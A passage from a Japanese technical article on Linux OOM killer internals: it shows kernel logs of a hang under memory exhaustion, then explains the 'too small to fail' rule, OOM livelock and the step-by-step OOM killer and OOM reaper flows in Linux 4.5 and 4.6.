(再度 SysRq-m によりメモリの状況を表示させましたが、状況は改善していませんでした。)
[  146.547225] SysRq : Show Memory
[  146.548766] Mem-Info:
[  146.549982] Node 0 DMA per-cpu:
[  146.551486] CPU    0: hi:    0, btch:   1 usd:   0
[  146.553161] CPU    1: hi:    0, btch:   1 usd:   0
[  146.554827] CPU    2: hi:    0, btch:   1 usd:   0
[  146.556593] CPU    3: hi:    0, btch:   1 usd:   0
[  146.558288] Node 0 DMA32 per-cpu:
[  146.559676] CPU    0: hi:  186, btch:  31 usd:  30
[  146.561395] CPU    1: hi:  186, btch:  31 usd:  59
[  146.563010] CPU    2: hi:  186, btch:  31 usd:   1
[  146.564634] CPU    3: hi:  186, btch:  31 usd:  30
[  146.566325] active_anon:404558 inactive_anon:2096 isolated_anon:0
[  146.566325]  active_file:0 inactive_file:0 isolated_file:0
[  146.566325]  unevictable:0 dirty:0 writeback:0 unstable:0
[  146.566325]  free:12893 slab_reclaimable:4632 slab_unreclaimable:5619
[  146.566325]  mapped:404 shmem:2161 pagetables:2162 bounce:0
[  146.566325]  free_cma:0
[  146.576409] Node 0 DMA free:7264kB min:400kB low:500kB high:600kB active_anon:7968kB inactive_anon:0kB active_file:0kB inactive_file:0kB unevictable:0kB isolated(anon):0kB isolated(file):0kB present:15988kB managed:15904kB mlocked:0kB dirty:0kB writeback:0kB mapped:0kB shmem:0kB slab_reclaimable:12kB slab_unreclaimable:160kB kernel_stack:64kB pagetables:292kB unstable:0kB bounce:0kB free_cma:0kB writeback_tmp:0kB pages_scanned:0 all_unreclaimable? yes
[  146.585972] lowmem_reserve[]: 0 1720 1720 1720
[  146.587814] Node 0 DMA32 free:44308kB min:44652kB low:55812kB high:66976kB active_anon:1610264kB inactive_anon:8384kB active_file:0kB inactive_file:0kB unevictable:0kB isolated(anon):0kB isolated(file):0kB present:2080640kB managed:1763444kB mlocked:0kB dirty:0kB writeback:0kB mapped:1616kB shmem:8644kB slab_reclaimable:18516kB slab_unreclaimable:22316kB kernel_stack:6528kB pagetables:8356kB unstable:0kB bounce:0kB free_cma:0kB writeback_tmp:0kB pages_scanned:2411 all_unreclaimable? yes
[  146.599568] lowmem_reserve[]: 0 0 0 0
[  146.601198] Node 0 DMA: 2*4kB (UE) 11*8kB (UE) 4*16kB (UE) 4*32kB (UEM) 3*64kB (EM) 3*128kB (EM) 1*256kB (U) 2*512kB (UE) 1*1024kB (E) 2*2048kB (ER) 0*4096kB = 7264kB
[  146.606977] Node 0 DMA32: 837*4kB (UEM) 562*8kB (UE) 151*16kB (UE) 154*32kB (UEM) 93*64kB (UE) 57*128kB (UE) 32*256kB (UE) 9*512kB (E) 1*1024kB (M) 1*2048kB (M) 0*4096kB = 44308kB
[  146.612321] Node 0 hugepages_total=0 hugepages_free=0 hugepages_surp=0 hugepages_size=1048576kB
[  146.614753] Node 0 hugepages_total=0 hugepages_free=0 hugepages_surp=0 hugepages_size=2048kB
[  146.617125] 2162 total pagecache pages
[  146.618674] 0 pages in swap cache
[  146.620106] Swap cache stats: add 0, delete 0, find 0/0
[  146.621893] Free swap  = 0kB
[  146.623225] Total swap = 0kB
[  146.624538] 524157 pages RAM
[  146.625970] 0 pages HighMem/MovableOnly
[  146.627442] 79320 pages reserved
( SysRq-f により OOM killer を発動させましたが、役に立ちませんでした。)
[  153.523099] SysRq : Manual OOM execution
[  153.524763] kworker/0:1 invoked oom-killer: gfp_mask=0xd0, order=0, oom_score_adj=0
[  153.526884] kworker/0:1 cpuset=/ mems_allowed=0
[  153.528593] CPU: 0 PID: 163 Comm: kworker/0:1 Not tainted 3.10.0-327.18.2.el7.x86_64 #1
[  153.530840] Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 07/31/2013
[  153.533615] Workqueue: events moom_callback
[  153.535183]  ffff88007bf73980 00000000dc64ad72 ffff88007ba4fc70 ffffffff81635a0c
[  153.537555]  ffff88007ba4fd00 ffffffff816309ac ffffffff81daaa00 ffffffff81a30200
[  153.539950]  00000000ffff8200 ffff88007ba4fca8 ffffffff8108bec3 ffff88007ba4fcc8
[  153.542293] Call Trace:
[  153.543642]  [<ffffffff81635a0c>] dump_stack+0x19/0x1b
[  153.545381]  [<ffffffff816309ac>] dump_header+0x8e/0x214
[  153.547324]  [<ffffffff8108bec3>] ? __internal_add_timer+0x113/0x130
[  153.549338]  [<ffffffff8108bf12>] ? internal_add_timer+0x32/0x70
[  153.551278]  [<ffffffff8116d0be>] oom_kill_process+0x24e/0x3b0
[  153.553271]  [<ffffffff8116cc26>] ? find_lock_task_mm+0x56/0xc0
[  153.555223]  [<ffffffff81088dae>] ? has_capability_noaudit+0x1e/0x30
[  153.557296]  [<ffffffff8116d8e6>] out_of_memory+0x4b6/0x4f0
[  153.559240]  [<ffffffff813b9f0d>] moom_callback+0x4d/0x50
[  153.561106]  [<ffffffff8109d5fb>] process_one_work+0x17b/0x470
[  153.563087]  [<ffffffff8109e3cb>] worker_thread+0x11b/0x400
[  153.564985]  [<ffffffff8109e2b0>] ? rescuer_thread+0x400/0x400
[  153.566970]  [<ffffffff810a5aef>] kthread+0xcf/0xe0
[  153.568698]  [<ffffffff810a5a20>] ? kthread_create_on_node+0x140/0x140
[  153.570730]  [<ffffffff81646118>] ret_from_fork+0x58/0x90
[  153.572598]  [<ffffffff810a5a20>] ? kthread_create_on_node+0x140/0x140
[  153.574643] Mem-Info:
[  153.575900] Node 0 DMA per-cpu:
[  153.577241] CPU    0: hi:    0, btch:   1 usd:   0
[  153.578865] CPU    1: hi:    0, btch:   1 usd:   0
[  153.580424] CPU    2: hi:    0, btch:   1 usd:   0
[  153.582002] CPU    3: hi:    0, btch:   1 usd:   0
[  153.583554] Node 0 DMA32 per-cpu:
[  153.584864] CPU    0: hi:  186, btch:  31 usd:  30
[  153.586334] CPU    1: hi:  186, btch:  31 usd:  59
[  153.587830] CPU    2: hi:  186, btch:  31 usd:   1
[  153.589286] CPU    3: hi:  186, btch:  31 usd:  30
[  153.590707] active_anon:404558 inactive_anon:2096 isolated_anon:0
[  153.590707]  active_file:0 inactive_file:0 isolated_file:0
[  153.590707]  unevictable:0 dirty:0 writeback:0 unstable:0
[  153.590707]  free:12893 slab_reclaimable:4632 slab_unreclaimable:5619
[  153.590707]  mapped:404 shmem:2161 pagetables:2162 bounce:0
[  153.590707]  free_cma:0
[  153.599409] Node 0 DMA free:7264kB min:400kB low:500kB high:600kB active_anon:7968kB inactive_anon:0kB active_file:0kB inactive_file:0kB unevictable:0kB isolated(anon):0kB isolated(file):0kB present:15988kB managed:15904kB mlocked:0kB dirty:0kB writeback:0kB mapped:0kB shmem:0kB slab_reclaimable:12kB slab_unreclaimable:160kB kernel_stack:64kB pagetables:292kB unstable:0kB bounce:0kB free_cma:0kB writeback_tmp:0kB pages_scanned:0 all_unreclaimable? yes
[  153.608512] lowmem_reserve[]: 0 1720 1720 1720
[  153.610098] Node 0 DMA32 free:44308kB min:44652kB low:55812kB high:66976kB active_anon:1610264kB inactive_anon:8384kB active_file:0kB inactive_file:0kB unevictable:0kB isolated(anon):0kB isolated(file):0kB present:2080640kB managed:1763444kB mlocked:0kB dirty:0kB writeback:0kB mapped:1616kB shmem:8644kB slab_reclaimable:18516kB slab_unreclaimable:22316kB kernel_stack:6528kB pagetables:8356kB unstable:0kB bounce:0kB free_cma:0kB writeback_tmp:0kB pages_scanned:2411 all_unreclaimable? yes
[  153.620715] lowmem_reserve[]: 0 0 0 0
[  153.622939] Node 0 DMA: 2*4kB (UE) 11*8kB (UE) 4*16kB (UE) 4*32kB (UEM) 3*64kB (EM) 3*128kB (EM) 1*256kB (U) 2*512kB (UE) 1*1024kB (E) 2*2048kB (ER) 0*4096kB = 7264kB
[  153.627718] Node 0 DMA32: 837*4kB (UEM) 562*8kB (UE) 151*16kB (UE) 154*32kB (UEM) 93*64kB (UE) 57*128kB (UE) 32*256kB (UE) 9*512kB (E) 1*1024kB (M) 1*2048kB (M) 0*4096kB = 44308kB
[  153.632880] Node 0 hugepages_total=0 hugepages_free=0 hugepages_surp=0 hugepages_size=1048576kB
[  153.635206] Node 0 hugepages_total=0 hugepages_free=0 hugepages_surp=0 hugepages_size=2048kB
[  153.637597] 2162 total pagecache pages
[  153.639022] 0 pages in swap cache
[  153.640456] Swap cache stats: add 0, delete 0, find 0/0
[  153.642204] Free swap  = 0kB
[  153.643552] Total swap = 0kB
[  153.644892] 524157 pages RAM
[  153.646150] 0 pages HighMem/MovableOnly
[  153.647650] 79320 pages reserved
[  153.649047] [ pid ]   uid  tgid total_vm      rss nr_ptes swapents oom_score_adj name
[  153.651334] [  588]     0   588     9204      387      19        0             0 systemd-journal
[  153.653757] [  604]     0   604    10814      170      21        0         -1000 systemd-udevd
[  153.656237] [  912]     0   912    12803      115      25        0         -1000 auditd
[  153.658523] [ 1967]    70  1967     6997       63      18        0             0 avahi-daemon
[  153.660967] [ 1979]     0  1979    72391      919      42        0             0 rsyslogd
[  153.663275] [ 1982]     0  1982    80896     4252      78        0             0 firewalld
[  153.665703] [ 1983]     0  1983     4829       76      14        0             0 irqbalance
[  153.668042] [ 1984]     0  1984     6612       79      15        0             0 systemd-logind
[  153.670465] [ 1985]    81  1985     6672      122      18        0          -900 dbus-daemon
[  153.672794] [ 1990]    70  1990     6997       58      17        0             0 avahi-daemon
[  153.675240] [ 2015]     0  2015    52593      433      56        0             0 abrtd
[  153.677508] [ 2017]     0  2017    51993      339      54        0             0 abrt-watch-log
[  153.679997] [ 2018]     0  2018     1094       24       8        0             0 rngd
[  153.682203] [ 2044]     0  2044    31583      150      21        0             0 crond
[  153.684481] [ 2181]     0  2181    46752      224      41        0             0 vmtoolsd
[  153.686791] [ 2803]     0  2803    27631     3114      51        0             0 dhclient
[  153.689039] [ 2807]   999  2807   132051     2254      54        0             0 polkitd
[  153.691348] [ 2890]     0  2890    20640      216      40        0         -1000 sshd
[  153.693561] [ 2893]     0  2893   138262     2660      91        0             0 tuned
[  153.695769] [ 4096]     0  4096    22785      252      42        0             0 master
[  153.698045] [ 4102]     0  4102    64751      994      57        0          -900 abrt-dbus
[  153.700317] [ 4108]     0  4108    23201      163      51        0             0 login
[  153.702487] [ 4109]     0  4109    27509       33      12        0             0 agetty
[  153.704747] [ 4113]     0  4113    79455      358     104        0             0 nmbd
[  153.706944] [ 4115]    89  4115    22811      249      44        0             0 pickup
[  153.709075] [ 4116]    89  4116    22828      250      45        0             0 qmgr
[  153.711222] [ 4130]     0  4130    96508      528     138        0             0 smbd
[  153.713329] [ 4134]     0  4134    96508      528     132        0             0 smbd
[  153.715421] [ 4137]  1000  4137    28884      130      14        0             0 bash
[  153.717453] [ 4158]  1000  4158   541715   385821     763        0             0 memset+write
[  153.719591] [ 4160]  1000  4160     1042       21       6        0             0 memset+write
[  153.721674] [ 4161]  1000  4161     1042       21       6        0             0 memset+write
[  153.723898] [ 4162]  1000  4162     1042       21       6        0             0 memset+write
[  153.725988] [ 4163]  1000  4163     1042       21       6        0             0 memset+write
[  153.728070] [ 4164]  1000  4164     1042       21       6        0             0 memset+write
[  153.730085] [ 4165]  1000  4165     1042       21       6        0             0 memset+write
[  153.732057] [ 4166]  1000  4166     1042       21       6        0             0 memset+write
[  153.734018] [ 4167]  1000  4167     1042       21       6        0             0 memset+write
[  153.735981] [ 4168]  1000  4168     1042       21       6        0             0 memset+write
[  153.737926] Out of memory: Kill process 4158 (memset+write) score 869 or sacrifice child
[  153.739792] Killed process 4160 (memset+write) total-vm:4168kB, anon-rss:84kB, file-rss:0kB
---------- 実行結果例 ここまで ----------

(注意:再現率100%でハングアップが発生する訳ではありません。タイミングや環境により発生しやすさは異なります。また、ハングアップが発生した場合、CPU使用率が100%の状態のままになることもあれば、CPU使用率が0%の状態のままになることもあります。)


4.2 何故ハングアップしてしまったのでしょう?

その答えが、2014年のクリスマスに発覚した、メモリ管理機構の矛盾を露呈した The "too small to fail" memory-allocation rule 事件です。

実は、 OOM killer によって TIF_MEMDIE が付与されない限り、 order が 3 以下(1バイト以上32768バイト以下)のメモリ割り当て要求は、成功するまで永遠にリトライするという挙動をしていたのです。

それに対して、 fs writeback のために GFP_NOFS なメモリ割り当て要求を行う側( xfs ファイルシステムなど)は、そのような挙動を想定していなかったため、 TIF_MEMDIE が付与されない限り先に進むことができず、結果として、 GFP_KERNEL なメモリ割り当て要求を行う側(アプリケーションなど)を永遠に待たせることになってしまったのです。

もし TIF_MEMDIE が GFP_NOFS なメモリ割り当て要求を行っているスレッドに付与されていたならば、あるいは、 GFP_KERNEL よりも GFP_NOFS なメモリ割り当て要求が優先的にメモリを割り当てることができるようになっていたならば、 GFP_KERNEL なメモリ割り当て要求を行う側を永遠に待たせることにはならなかったでしょう。しかし、 xfs では複雑な処理を様々なカーネルスレッド間で協調しながら処理している関係上、 GFP_NOFS なメモリ割り当て要求を行っているスレッドには TIF_MEMDIE は付与されず、永遠に待たせることになってしまいました。

この事件が、空きメモリが少ない状況での挙動について、真面目に検討を始める契機となりました。それまでは、「システムが DoS 攻撃を受けており、既に手遅れだ。諦めて再起動させろ。」と関係者を怒らせてしまうだけの事象でしたが、一気に風向きが変わりました。

CVE-2013-4312 (後の CVE-2016-2847 )よりも遥かに重要な問題であり、サポートセンタで原因不明のハングアップ問合せ案件を担当してきた身としては、何としてでも回避したい問題であると思うようになりました。


4.3 OOM livelock 状態について

前述した The "too small to fail" memory-allocation rule が存在することにより、ロックを獲得した状態でメモリ割り当て要求を行うことには、メモリ割り当て要求により発動した OOM killer により強制終了させられる筈のプロセス( TIF_MEMDIE が付与されている)が、メモリ割り当て要求を行っているプロセスが所有しているロックの獲得待ち状態で身動きが取れなくなる危険性が付きまといます。

しかし、そもそもロックとは、排他制御を行うために必要なものです。排他制御が開始される(ロックが獲得される)までは、どれだけの量のメモリが必要になるかを確定することができないためにメモリを割り当てることができない場合があります。

ロックを獲得しようとする箇所からロックを解放する箇所までの全ての処理が killable ( SIGKILL シグナルにより中断できる)ようになっていれば良いのですが、メモリ割り当て要求を行う可能性のある全てのロック獲得処理が killable になっている訳ではありません。

その結果、 TIF_MEMDIE は「必要以上にプロセスを強制終了させないための仕組み」として機能するのと同時に、「強制終了させたいプロセスが終了できない場合に、システムをハングアップさせるための仕組み」としても機能してしまう訳です。

これが、 OOM killer が発動できた場合に発生する OOM livelock 状態です。

 ちなみに、 TIF_MEMDIE が付与されたプロセスが存在しない状態( OOM killer が発動していない状態)でも、他の原因により発生する OOM livelock 状態も存在しています。それについては、いろんな伏兵 時系列で?で紹介します。


4.4 タイムアウトベースの回避策について

この事件が発覚したのは、パイプバッファで埋め尽くす攻撃への対処法をめぐり、議論が公開MLへの移行した1か月後のことでした。

公開MLでは、この攻撃の影響を受けるカーネルバージョンの多さや、 OOM killer の発動前にハングアップしてしまう問題への回避策として、バックポート可能な方法であることを最優先に、タイムアウトを用いて OOM killer を発動させるという提案を行いました。

しかし、 Michal Hocko さんはタイムアウトを用いた回避策を頑なに拒み続けており、何としてもタイムアウトを用いずに解決したいと主張しています。そのため、ハングアップしてしまう可能性のある処理を一つ残らず洗い出し、可能な限り再現プログラムとログを提示して、「タイムアウトを使わないでどうやって対処するのよ?」と問い詰める(!?)日々が、現在も続いています。

 →おかげで、この1年半ほどの間に、想像もしていなかった伏兵が次々と発見されました。もちろん、全部発見された訳ではありませんし、発見されたまま放置されているものもあります。

話が発散していくのを避けるために、先に、「 OOM killer が発動できた場合に発生する OOM livelock 状態」に対する緩和策である OOM reaper について紹介していきたいと思います。(十分に長い話なのですが。)


第5章 OOM reaper について


5.1 Linux 4.5 における OOM killer の流れ

まず、 Linux 4.5 時点での、 OOM killer の流れを説明します。( OOM killer の流れは非常に複雑で、試行錯誤を繰り返してきた歴史があります。そのため、古いカーネルでは流れが異なっている場合があります。)

(kill1)

__GFP_FS フラグを含む order が 3 以下のメモリ割り当て要求、あるいは、 __GFP_NOFAIL フラグを含むメモリ割り当て要求が行われたものの、空きメモリを確保できなかった( OOM 状態が発生した)ことにより、 out_of_memory() ( OOM killer )が呼ばれます。

(kill2)

カレントスレッドが既に SIGKILL シグナルを受信している場合、あるいは、既に終了しかけている( PF_EXITING フラグが付与されている)スレッドの場合、カレントスレッドが mm_struct を解放することで空きメモリが生まれる可能性があるため、必要以上にプロセスを強制終了させないようにするために、カレントスレッドに TIF_MEMDIE フラグを付与して、呼び出し元に戻ります。(罠1)

(kill3)

out_of_memory() から、強制終了させるプロセスの候補を探すために select_bad_process() が呼ばれます。

(kill4)

select_bad_process() は、システム上に存在する全てのスレッドグループの全てのスレッドに対して oom_scan_process_thread() を呼び出します。

oom_scan_process_thread() が OOM_SCAN_ABORT を返却した場合には、候補探しを中止して out_of_memory() に -1 を返却します。

oom_scan_process_thread() が OOM_SCAN_SELECT を返却した場合には、 select_bad_process() は、そのスレッドを最優先の候補とします。ただし、あるスレッドに対して OOM_SCAN_SELECT が返却された後に、別のスレッドに対して OOM_SCAN_ABORT が返却される可能性があるため、候補探しは続行します。

oom_scan_process_thread() が OOM_SCAN_CONTINUE を返却した場合には、 select_bad_process() は、そのスレッドをスキップします。

oom_scan_process_thread() が OOM_SCAN_OK を返却した場合には、 select_bad_process() は、そのスレッドが OOM 状態にどの程度寄与しているかを判断するために、 oom_badness() の呼び出しに渡します。 oom_badness() が返却した値が、(最小値を 0 として)それまでの最大値よりも大きかった場合、そのスレッドを候補とします。

1つでも候補が見つかった場合は、 out_of_memory() にそのスレッドを返却します。1つも候補が見つからなかった場合は、 out_of_memory() に 0 を返却します。

(kill5)

oom_scan_process_thread() は、そのスレッドが OOM killer により強制終了させる候補になりうるかどうかの判断を行います。

まず、(終了するとカーネルパニックが発生する) init プロセスまたは(強制終了させるのが妥当ではない)カーネルスレッドの場合、強制終了させないようにするために select_bad_process() に OOM_SCAN_CONTINUE を返却します。

次に、 TIF_MEMDIE フラグが付与されているスレッドの場合、必要以上にプロセスを強制終了させないようにするために、 select_bad_process() に OOM_SCAN_ABORT を返却します。(罠2)

次に、メモリ消費の大部分は mm_struct に関連付けされていることが前提であるため、 mm_struct に関連付けされていないスレッドの場合、そのスレッドをスキップするために、 select_bad_process() に OOM_SCAN_CONTINUE を返却します。

次に、スワップパーティションを削除する処理( swapoff() システムコール)を実行中のスレッドの場合、スワップパーティションを削除しようとしたことが OOM 状態に陥った原因である可能性が高いため、そのスレッドを強制終了させるために、 select_bad_process() に OOM_SCAN_SELECT を返却します。

次に、既に終了しかけているスレッドの場合、そのスレッドが mm_struct を解放することで空きメモリが生まれる可能性があるため、必要以上にプロセスを強制終了させないようにするために、 select_bad_process() に OOM_SCAN_ABORT を返却します。(罠3)

いずれにも該当しなかった場合、そのスレッドが OOM killer により強制終了させる候補になりうるため、 select_bad_process() に OOM_SCAN_OK を返却します。

(kill6)

oom_badness() は、そのスレッドが OOM 状態にどの程度寄与しているかの判断を行います。

まず、(終了するとカーネルパニックが発生する) init プロセスまたは(強制終了させるのが妥当ではない)カーネルスレッドの場合、強制終了させないようにするために select_bad_process() に 0 を返却します。

次に、そのスレッドを含むスレッドグループの中に、 mm_struct に関連付けされたスレッドが存在しない場合、そのスレッドグループ内の全てのスレッドは既に終了していると考えられるため、そのスレッドをスキップするために、 select_bad_process() に 0 を返却します。

次に、そのスレッドを含むスレッドグループの oom_score_adj の値( /proc/$pid/oom_score_adj の内容)が -1000 の場合、そのスレッドグループが OOM killer により強制終了させられることをシステム管理者が認めていないため、 select_bad_process() に 0 を返却します。

いずれにも該当しなかった場合、 mm_struct に関連付けされたメモリの使用量に基づいてスコアを算出し、 select_bad_process() に 0 よりも大きな値を返却します。

(kill7)

select_bad_process() から戻った時点で、強制終了させるプロセスの候補が確定します。

select_bad_process() が -1 を返却した場合、 out_of_memory() は何もせずに呼び出し元に戻ります。

select_bad_process() が 0 を返却した場合、 out_of_memory() はカーネルパニックを発生させます。

select_bad_process() が -1 でも 0 でもない値を返却した場合、その値を oom_kill_process() の呼び出しに渡します。

(kill8)

oom_kill_process() は、実際に SIGKILL シグナルを送信して強制終了させるための処理を行います。

まず、既に終了しかけているスレッドの場合、そのスレッドが mm_struct を解放することで空きメモリが生まれる可能性があるため、必要以上にプロセスを強制終了させないようにするために、そのスレッドに TIF_MEMDIE フラグを付与して、呼び出し元に戻ります。(罠4)

次に、 OOM killer は、 OOM killer が発動したことを示すメッセージを出力します。この段階まで来て初めて、 OOM killer が発動したことを確認できるようになります。これよりも前の段階で OOM livelock 状態に陥った場合、何のメッセージも出力せずにシステムがハングアップしたように見えます。

次に、そのスレッドを含むスレッドグループの各スレッドの子プロセスに対して、 OOM killer により強制終了させることが妥当かどうかの検査を行います。そして、 OOM killer により強制終了させることが妥当な子プロセスが見つかった場合、そのプロセスを強制終了させるプロセスの候補とします。

これは、「親プロセスを強制終了させるよりも子プロセスを強制終了させる方がシステムへの影響が少ないと考えられる」という推測に基づいています。

とはいえ、 OOM_SCAN_SELECT により選択されたスレッドが oom_kill_process() に渡された場合には、そのスレッドを含むプロセスの子プロセスではなく、そのスレッドを含むプロセス自体を強制終了させるべきだ(そうしないと、そのスレッドを含むプロセスの全ての子プロセスを無意味に強制終了させてしまう)と思うのですが、そのようにはなっていません。これは、「スワップパーティションを削除する処理を行うプロセスが、子プロセスを持つとは考えにくい」という推測に基づいています。

この時点で、強制終了させるスレッドグループが確定します。

(kill9)

そのスレッドを含むスレッドグループに対して SIGKILL シグナルを送信し、そのスレッドグループに含まれるスレッドの内、 mm_struct に関連付けされた最初のスレッドに対して TIF_MEMDIE フラグを付与します。

何故、 mm_struct に関連付けされたスレッドに対して付与するのかは、スレッド終了時の流れの中で説明します。

(kill10)

また、その mm_struct を使用している他のスレッドグループに対しても、 OOM killer により強制終了させることが妥当なスレッドグループであれば SIGKILL シグナルを送信します。

ソースコード上では、「 mm->mmap_sem に起因した OOM livelock 状態を回避するために必要」とありますが、確実に回避できる保証はありません。 mm->mmap_sem に起因した OOM livelock 状態の発生確率を下げるだけです。(罠5)

また、「 OOM killer により強制終了されたスレッドの内、 TIF_MEMDIE フラグが付与されなかったスレッドは、次回 out_of_memory() が呼び出されたときに、 SIGKILL シグナルを受信済みであることにより TIF_MEMDIE フラグが付与されるので大丈夫」とありますが、これも確実に付与される保証はありません。(罠6)

(罠1)(罠6)は、この状況を(無条件かつ無期限に)待ち続けてしまうと、 OOM livelock 状態に陥る可能性がある箇所です。でも、おそらくは、どうして罠になりえるのかが不明な筈です。ですので、( mm_struct との関連付けを解除して TIF_MEMDIE フラグを除去するまでを中心に)スレッド終了時の流れを説明します。

(exit1)

終了しようとしているスレッドは、 do_exit() という関数を呼び出します。自発的に終了しようとしているスレッドの場合は、スムーズに do_exit() を呼び出すことができます。しかし、 OOM killer などにより強制的に終了させられようとしているスレッドの場合は、当該スレッドが unkillable wait な状態にあることで、そのままでは do_exit() を呼び出すことができない場合が存在します。

もし、 unkillable wait な状態に陥っている原因がメモリ割り当て要求である場合、そのメモリ割り当て要求が満たされるか失敗するまでは unkillable wait な状態から抜け出すことができません。

もし、当該スレッドがメモリ割り当て要求をしていて、既に SIGKILL シグナルを受信している場合には、 (kill2) の動作により TIF_MEMDIE が付与され、当該メモリ割り当て要求を完了させることができます。しかし、当該スレッドが、他のスレッドによるメモリ割り当て要求を待っている(ロックを獲得した状態でメモリ割り当てを行っている)場合、そのメモリ割り当て要求を行っているスレッドに (kill2) または (kill9) の動作により TIF_MEMDIE が付与されない限り、当該メモリ割り当て要求を完了させることができません。

つまり、(罠2)は、典型的な「 OOM killer が発動できた場合に発生する OOM livelock 状態」であり、 TIF_MEMDIE がメモリ割り当て要求を行っているスレッドに付与されないことにより発生します。

また、(罠6)は、 (kill1) に書いたように、 OOM killer は、 __GFP_FS フラグを含む order が 3 以下のメモリ割り当て要求、あるいは、 __GFP_NOFAIL フラグを含むメモリ割り当て要求でないと呼ばれないことにより発生します。例えば order が 3 以下の GFP_NOFS または GFP_NOIO なメモリ割り当て要求を行っていた場合、 SIGKILL シグナルを受信していたとしても (kill2) の動作により TIF_MEMDIE フラグが付与されません。そして、 The "too small to fail" memory-allocation rule により、 OOM killer が呼ばれている限りメモリ割り当て要求は永遠にループするため、 OOM livelock 状態に陥ります。

そして、(罠1)は、当該スレッドがメモリ割り当て要求をしていて、 (kill2) の動作により TIF_MEMDIE が付与され、当該メモリ割り当て要求を完了させることができた後に、他のスレッドによるメモリ割り当て要求を待つことで、 (kill5) の動作により他のスレッドに TIF_MEMDIE が付与されないことで発生します。

(exit2)

ここから先は、終了しようとしているスレッドが無事に do_exit() を呼び出すことができた場合の話です。

終了しようとしているスレッドが exit_signals() を呼び出すことで、「このスレッドは終了しかけている」ことを示す PF_EXITING フラグが付与されます。これにより、 (kill2) の動作により TIF_MEMDIE が付与されるようになります。

(exit3)

終了しようとしているスレッドは、 mm_struct を解放するために exit_mm() を呼び出します。

exit_mm() の中では、不正なメモリアクセスによる強制終了時の処理( core dump 処理)と同期させるために、 mmap_sem を共有モードで取得( down_read(&current->mm->mmap_sem) )します。

mmap_sem を共有モードで取得するということは、どこかに排他モードで mmap_sem を取得する処理が存在する筈です。排他モードで mmap_sem を取得する処理は何か所か存在しますが、典型的なのは mmap() 処理です。 mmap() の中には、 mmap_sem を排他モードで取得( down_write(&current->mm->mmap_sem) )後に、メモリ割り当て要求を行う処理が存在しています。そのため、(罠3)は、マルチスレッドなプログラムにおいて、あるスレッドが PF_EXITING フラグが付与された後に down_read(&current->mm->mmap_sem) で unkillable wait 状態となっているタイミングで、 down_write(&current->mm->mmap_sem) を通過した他のスレッドがメモリ割り当て要求を行うことで OOM killer が呼ばれたものの、 PF_EXITING フラグが付与されたスレッドが mm_struct を解放するのを(自分が保持している排他モードの mmap_sem を解放しないと処理が先に進まないことに気づかないまま)待ってしまうことにより発生します。

また、(罠5)は、 down_write(&current->mm->mmap_sem) を通過した他のスレッドが、メモリ割り当て要求の処理に含まれる unkillable wait またはメモリ割り当て要求以外の unkillable wait により、自分が保持している排他モードの mmap_sem を解放できない状況に陥ってしまうことにより発生します。

(罠4)も同様で、 down_write(&current->mm->mmap_sem) を通過した他のスレッドに対して SIGKILL シグナルが送信されないことにより、何らかの unkillable wait または killable wait で処理が止まってしまった場合に発生します。

(exit4)

無事に mmap_sem を共有モードで取得できたら、必要であれば core dump 処理を行います。そして、 mm_struct を解放後、 mmap_sem も解放します。

しかし、 mm_struct を解放したからといって、すぐに空きメモリが生まれるとは限りません。マルチスレッドのプログラムの場合、その mm_struct を使用している全てのスレッドが mm_struct を解放するまでは、空きメモリとして回収することができません。よって、カレントスレッドの mm_struct だけを解放するために、 mmput(current->mm) という処理が呼び出されます。 mmput() の処理から復帰すると、回収可能なメモリを既に回収したとみなされて、 TIF_MEMDIE フラグがクリアされます。これにより、 OOM killer は他のスレッドを選択するようになります。

mmput() は、参照カウントを減らし、参照カウントが 0 になった場合のみ、空きメモリとして回収する処理を行います。そして、空きメモリとして回収する処理の中には、非同期I/Oの完了を待つなど、メモリ割り当て要求による待ち状態が発生しうる処理が含まれています。つまり、 mm_struct は解放したものの TIF_MEMDIE フラグはまだクリアされていない状態であることから、メモリ割り当て要求を行ったスレッドは (kill5) の動作により OOM killer を発動させることができないという、(罠2)の状況が発生します。

mmput() の処理から復帰するまでは回収可能なメモリがまだ存在するとみなされるため、 OOM killer を発動させたくは無いのですが、 OOM killer を発動させないと先に進めないという状況に陥っていることを知ることができないという、空白の期間が存在している訳です。

(exit5)

exit_mm() から復帰後は、ファイルディスクリプタをクローズするなどの残りの処理を行います。既に mm_struct を解放しているため、以降の処理でメモリ割り当て要求が発生して OOM killer が発動した場合には、 (kill2) の動作は適用されず、他のスレッドを選択するようになります。

いかがでしたか? OOM killer が「必要以上にプロセスを強制終了させないため」に行っていた排他制御は、他のスレッドとの競合を考慮しておらず、 mm_struct を解放することが期待されたスレッドが動けなくなることを想定していなかった訳です。とっても楽観的ですよねぇ?

ということで、 OOM reaper を導入することで、 mm_struct を解放する予定のスレッドが動けなくなった場合でも対処できるようにすることが、 OOM killer が発動できた場合に発生する OOM livelock 状態を解消するための決定打となります。

2015年3月に開催されたLSF/MMサミットで議論され、 Linux 4.6 で導入された OOM reaper は、 OOM killer により強制終了させられたスレッドグループが使用しているメモリを、 mm_struct が解放されるよりも先に回収することにより、 OOM livelock 状態の発生確率を減らすことができます。


5.2 Linux 4.6 における OOM killer の流れ

ということで、 Linux 4.6 時点での、 OOM killer の流れを説明します。

(kill1)

Linux 4.5 の (kill1) と同じであるため省略します。

(kill2)

Linux 4.5 の (kill2) と同じであるため省略します。

(kill3)

Linux 4.5 の (kill3) と同じであるため省略します。

(kill4)

Linux 4.5 の (kill4) と同じであるため省略します。

(kill5)

oom_scan_process_thread() は、そのスレッドが OOM killer により強制終了させる候補になりうるかどうかの判断を行います。

OOM livelock 状態の原因となりうる空白の期間を潰すために、 oom_scan_process_thread() 内の task_will_free_mem(task) 時の処理が削除されました。

それ以外は Linux 4.5 の (kill5) と同様です。

(kill6)

Linux 4.5 の (kill6) と同じであるため省略します。

(kill7)

Linux 4.5 の (kill7) と同じであるため省略します。

(kill8)

Linux 4.5 の (kill8) と同じであるため省略します。

(kill9)

Linux 4.5 の (kill9) と同じであるため省略します。

(kill10)

強制終了させられるスレッドの mm_struct を使用している他のスレッドグループに対しても、 OOM killer により強制終了させることが妥当なスレッドグループであれば SIGKILL シグナルを送信します。

そして、その mm_struct を使用している全てのスレッドグループが OOM killer により強制終了させることが妥当なスレッドグループであった場合、 OOM reaper を呼び出します。

(kill11)

OOM reaper は、 mmap_sem を共有モードでの取得を試みます。

取得に成功した場合のみ、その mm_struct に含まれているメモリの内の解放可能なページを解放後、 mmap_sem を解放します。

